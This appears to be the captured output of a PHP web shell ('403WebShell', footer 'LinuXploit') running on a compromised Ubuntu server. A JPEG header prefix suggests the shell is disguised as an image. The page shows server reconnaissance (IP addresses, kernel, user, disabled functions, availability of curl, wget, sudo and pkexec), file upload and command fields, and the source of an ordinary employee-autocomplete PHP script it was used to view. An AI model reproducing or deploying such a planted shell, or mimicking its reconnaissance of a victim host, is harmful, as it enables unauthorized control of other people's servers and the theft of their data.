����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.82
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/application/employed/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/application/employed/c_search_categoryE
<?php
date_default_timezone_set("America/Mexico_City");
session_start();
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");

$term = trim(strip_tags($_GET['term']));
$row_set = array();
$pos = new pos();

$data = $pos->autoCompleteEmpleados($term);
foreach ($data[1] as $row) {
	$row['label']=htmlentities(stripslashes($row['name']));
	$row['value']=htmlentities(stripslashes($row['name']));
	if($row['phone'] == '' or $row['phone'] == null){
		$row['phone']='';
	}else{
		$row['telefono']=$row['phone'];
	$row['phone']='<dd><small> Telefono : '.$row['phone'].'</small></dd>';
	}
	$row['puesto']=$row['id_puesto'];
	//obtenemos el nombre del puesto getRuta
	if($row['id_puesto'] > 0){
		switch($row['id_puesto']) {
				case 1: $row['nombre_puesto']= "Administracion";
				break;
				case 2: $row['nombre_puesto']= "Cobranza";
				break;
				case 3: $row['nombre_puesto']= "Ventas";
				break;
				case 4: $row['nombre_puesto']= "Supervisor";
				break;
				case 5: $row['nombre_puesto']= "Gerencia";
				break;
				case 6: $row['nombre_puesto']= "Soporte Tecnico";
				break;
				}
		
	}else{
		$row['nombre_puesto']='Baja';
	}
	
	//asignamos el nombre de la ruta actual
	/*
		$posR = new pos();
		$dataR = $posR->getRuta($row['id_ruta']);
		$row['nombre_ruta']= $dataR[1]['name'];
	*/
		switch ($row['id_ruta']){
						case 1:
							$row['nombre_ruta']='Secretaria';
							break;
						case 2:
							$row['nombre_ruta']='Cobrador';
							break;
						case 3:
							$row['nombre_ruta']='Vendedor';
							break;
						case 4:
							$row['nombre_ruta']='Jefe de Ventas';
							break;
						case 5:
							$row['nombre_ruta']='Supervisor';
							break;	
						case 6:
							$row['nombre_ruta']='Gerente';
							break;
						case 7:
							$row['nombre_ruta']='Ayudante de Sistemas';
							break;
						case 8:
							$row['nombre_ruta']='Sup de Sistemas';
							break;	
			}		
		/*
		
																<option value="1">Secretaria</option>
																<option value="2">Cobrador</option>
																<option value="3">Vendedor</option>
																<option value="4">Jefe de Ventas</option>
																<option value="5">Supervisor</option>
																<option value="6">Gerente</option>
																<option value="7">Ayudante de Sistemas</option>
																<option value="8">Sup de Sistemas</option>
		*/
	
	$row['nombre']=$row['name'];
	
	//$row['dire']=$row['country'];
	
	
	
	$row['name']='<dd><small>'.$row['phone'].' /'.$row['name'].'</small></dd>';
	
	$row['country']='<dd><small>'.$row['direccion'].'</small></dd>';	
	
	
	$row['id']=$row['id_cust'];
	
	$row_set[] = $row;
}

echo json_encode($row_set);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit